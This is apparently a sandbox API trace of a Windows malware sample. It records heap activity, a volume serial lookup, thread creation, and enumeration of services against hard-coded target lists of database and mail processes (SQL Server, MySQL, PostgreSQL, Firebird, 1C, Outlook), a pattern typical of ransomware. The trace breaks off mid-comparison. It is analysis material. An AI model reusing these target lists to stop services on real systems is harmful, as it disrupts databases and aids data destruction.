[0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587890 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587920 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587710 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5878f0 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587938 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588400 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588310 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5883b8 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5882f8 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5883e8 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588220 [0245.210] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x587fd0, Size=0x400) returned 0x5889e0 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588268 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588328 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5884c0 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588238 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588340 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588370 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x588250 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588388 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588298 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588490 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f1f0 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5882e0 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x588280 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5884a8 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588358 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5883a0 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5883d0 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x588418 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588208 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588430 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588448 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588460 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588478 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5884d8 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5884f0 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5882b0 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f200 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5882c8 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588550 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5887a8 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588790 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588778 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588628 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5887c0 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5885b0 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5886d0 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x5887d8 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5886e8 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x588700 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588718 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588598 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588640 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588670 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5887f0 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5886b8 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5885c8 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588730 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588748 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588658 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588610 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5885e0 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5885f8 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588508 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588688 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588580 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588538 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588520 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588568 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5886a0 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588760 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588820 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5889b8 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x588928 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12) returned 0x536320 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588910 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588880 [0245.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588850 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588988 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5889a0 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588838 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588868 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588958 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588898 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5888c8 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5888b0 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5888e0 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588808 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588940 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x588970 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5888f8 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5892e0 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5892c8 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x589310 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5892f8 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x589298 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5893a0 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5893d0 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x589328 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x589250 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f220 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x589340 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f230 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x589268 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x589130 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x589400 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x589148 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x589358 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x589178 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x589370 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x589220 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x589388 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5891c0 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5893b8 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x589160 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5891f0 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x589280 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f250 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x589208 [0245.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5893e8 [0245.213] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x58a600, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0245.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x59a608 | out: hHeap=0x520000) returned 1 [0245.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58a600 | out: hHeap=0x520000) returned 1 [0245.214] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x5773c0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0245.214] lstrlenW (lpString="C:\\") returned 3 [0245.214] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0245.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5773c0 | out: hHeap=0x520000) returned 1 [0245.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x566398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0245.217] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x5bca30, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0245.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5cca38 | out: hHeap=0x520000) returned 1 [0245.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5bca30 | out: hHeap=0x520000) returned 1 [0245.218] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x5ab618, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0245.218] lstrlenW (lpString="C:\\") returned 3 [0245.218] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0245.218] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ab618 | out: hHeap=0x520000) returned 1 [0245.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x58a600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0245.220] WaitForMultipleObjects (nCount=0x2, lpHandles=0x53b460*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 364 os_tid = 0xeb0 Thread: id = 365 os_tid = 0xeb4 Thread: id = 367 os_tid = 0xec0 [0245.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57adb8 [0245.292] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57adb8, Size=0x20) returned 0x55eca0 [0245.292] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55eca0, Size=0x40) returned 0x537848 [0245.292] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537848, Size=0x80) returned 0x576688 [0245.292] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x576688, Size=0x100) returned 0x5aae78 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57adb8 [0245.293] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57adb8, Size=0x20) returned 0x55eb88 [0245.293] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55eb88, Size=0x40) returned 0x537968 [0245.293] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537968, Size=0x80) returned 0x576bd8 [0245.293] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x576bd8, Size=0x100) returned 0x5ab4a8 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x57afe0 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x5bc8e8 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57ad28 [0245.293] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5bc8e8, Size=0x8) returned 0x5bc9a8 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x536680 [0245.293] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5bc9a8, Size=0x10) returned 0x57ae30 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x536480 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x55ec78 [0245.293] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57ae30, Size=0x20) returned 0x55ec00 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c) returned 0x55eca0 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16) returned 0x536780 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x55ea98 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x57ad70 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x5bc8e8 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x537800 [0245.293] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5bc8e8, Size=0x8) returned 0x5bc9a8 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c) returned 0x537848 [0245.293] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5bc9a8, Size=0x10) returned 0x57ad88 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x5366a0 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x5367c0 [0245.293] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57ad88, Size=0x20) returned 0x55e9a8 [0245.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24) returned 0x5356b8 [0245.293] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0245.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5aae78 | out: hHeap=0x520000) returned 1 [0245.293] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0245.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ab4a8 | out: hHeap=0x520000) returned 1 [0245.293] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x55eb88 [0245.294] EnumServicesStatusExW (in: hSCManager=0x55eb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x262ff3c, lpServicesReturned=0x262ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x262ff3c, lpServicesReturned=0x262ff54, lpResumeHandle=0x0) returned 0 [0245.294] GetLastError () returned 0xea [0245.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1b30) returned 0x57ebf0 [0245.294] EnumServicesStatusExW (in: hSCManager=0x55eb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x57ebf0, cbBufSize=0x1b30, pcbBytesNeeded=0x262ff3c, lpServicesReturned=0x262ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x57ebf0, pcbBytesNeeded=0x262ff3c, lpServicesReturned=0x262ff54, lpResumeHandle=0x0) returned 1 [0245.295] CloseServiceHandle (hSCObject=0x55eb88) returned 1 [0245.295] lstrlenW (lpString="Appinfo") returned 7 [0245.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0245.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0245.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0245.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0245.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0245.295] lstrlenW (lpString="AppXSvc") returned 7 [0245.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0245.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0245.295] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0245.295] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0245.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0245.295] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0245.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0245.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0245.295] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0245.295] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0245.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0245.295] lstrlenW (lpString="Audiosrv") returned 8 [0245.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0245.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0245.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0245.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0245.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0245.295] lstrlenW (lpString="BFE") returned 3 [0245.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0245.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0245.295] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0245.295] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0245.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0245.295] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0245.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0245.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0245.295] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0245.295] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0245.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0245.295] lstrlenW (lpString="CDPSvc") returned 6 [0245.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0245.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0245.296] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0245.296] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0245.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0245.296] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0245.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0245.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0245.296] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0245.296] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0245.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0245.296] lstrlenW (lpString="CryptSvc") returned 8 [0245.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0245.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0245.296] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0245.296] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0245.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0245.296] lstrlenW (lpString="DcomLaunch") returned 10 [0245.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0245.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0245.296] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0245.296] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0245.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0245.296] lstrlenW (lpString="DeviceAssociationService") returned 24 [0245.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0245.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0245.296] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0245.296] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0245.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0245.296] lstrlenW (lpString="Dhcp") returned 4 [0245.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0245.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0245.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0245.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0245.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0245.296] lstrlenW (lpString="Dnscache") returned 8 [0245.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0245.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0245.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0245.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0245.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0245.296] lstrlenW (lpString="DPS") returned 3 [0245.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0245.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0245.296] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0245.296] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0245.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0245.296] lstrlenW (lpString="DusmSvc") returned 7 [0245.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0245.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0245.296] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0245.297] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0245.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0245.297] lstrlenW (lpString="EventLog") returned 8 [0245.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0245.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0245.297] 